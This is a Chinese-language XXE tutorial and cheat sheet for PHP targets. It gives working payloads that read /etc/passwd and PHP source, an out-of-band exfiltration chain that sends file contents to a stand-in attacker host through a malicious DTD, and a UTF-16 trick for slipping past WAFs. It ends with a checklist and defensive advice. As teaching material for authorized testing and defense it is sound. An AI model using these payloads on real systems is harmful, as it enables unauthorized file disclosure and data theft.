XXE 任意文件读取与外带传输
XXE(XML External Entity Injection)利用 XML 解析器的 外部实体展开 能力读取本地文件或向攻击者服务器回连。核心前提是解析器启用了实体替换且允许加载外部实体。
OOB 外带会让目标服务器主动回连攻击机,只能在授权靶场或明确授权的测试中进行。
判定前提
不是所有接收 XML 的接口都会展开实体。以 PHP 为例:
| 解析方式 | 是否展开实体 |
|---|---|
simplexml_load_string($xml, ..., LIBXML_NOENT) | 是,启用实体替换 |
未加 LIBXML_NOENT 标志的解析 | 否,实体按字面处理 |
黑盒上先用内联实体探测:接口把实体展开后的内容回显出来,就说明解析器启用了实体替换,可以继续走读取流程。
方法 A:内联实体读取
直接在请求的 XML 中定义通用实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
&xxe; 出现在响应中的位置就是文件内容。
读 PHP 源码
PHP 源码含 <? 标签,直接读会被当成 PHP 输出破坏,用 filter 转成 base64:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
读压缩文件
compress.zlib:// 可与 filter 组合,原地解压 .gz 文件再读取:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=compress.zlib:///var/log/app.log.gz">
方法 B:OOB 外带传输
无回显、长文件或含特殊字符时改用外带:让目标解析器带着文件内容回连攻击机。攻击机用 HTTP 托管恶意 DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker/?d=%file;'>">
%eval;
目标 XML 引入远程 DTD 并触发:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker/evil.dtd">
%remote;
]>
<root>&exfil;</root>
目标解析 %remote; 加载恶意 DTD,读取文件后拼进 URL 请求攻击机,攻击机在访问日志中取回内容。注意:OOB 只解决回显问题,不绕过文件权限,Web 进程读不了的文件换 OOB 同样读不了。
变体:参数实体 + 包装 DTD
当外部 通用实体 被拒但允许加载外部 参数实体 时,先用服务端的写能力(如 XSLT 的 exsl:document)落一个“包装 DTD”到本地——把 %file; 塞进 <!ENTITY xxe ...> 定义内部:
<!ENTITY % file SYSTEM "file:///target">
<!ENTITY % eval "<!ENTITY xxe SYSTEM 'http://attacker/?d=%file;'>">
%eval;
XML 文档再 %remote; 引入包装 DTD 并展开 &xxe;,把读取结果带出。读含 <、& 字符的源码时,用 CDATA + 双引号包装 把内容包成 CDATA 段再拼接,防止特殊字符破坏 DTD 结构。
WAF 绕过:UTF-16 编码
许多 WAF 按字节做 preg_match 正则匹配。把 整个 XML 用 UTF-16LE 编码(字节间插 \x00)后提交,基于单字节的正则全部失配;多数解析器仍按 XML 声明中的编码正常解析,payload 原样生效。本地编码后原样 POST 即可。
复核要点
| 检查点 | 说明 |
|---|---|
| 实体是否展开 | 先用内联实体 + /etc/passwd 确认回显 |
| 回显方式 | 有回显走内联,无回显/长文件走 OOB |
| PHP 源码 | 必须过 php://filter base64,不要裸读 |
| 文件权限 | OOB 不能读无权限文件,失败先怀疑权限 |
| WAF 拦截 | 关键字被拦先试 UTF-16 编码,再看参数实体分支 |
防御建议
- 禁用
LIBXML_NOENT这类启用实体替换的解析标志;libxml 2.9+ 默认不加载外部实体,保持默认。 - 显式禁止解析器加载外部实体与 DTD。
- 限制解析内容来源:不接受用户可控的 DOCTYPE,或改用 JSON 等无实体机制的格式。
- 出站方向做限制,降低 OOB 外带成功率。
- 对含
<!ENTITY、SYSTEM、file://特征的请求建立告警。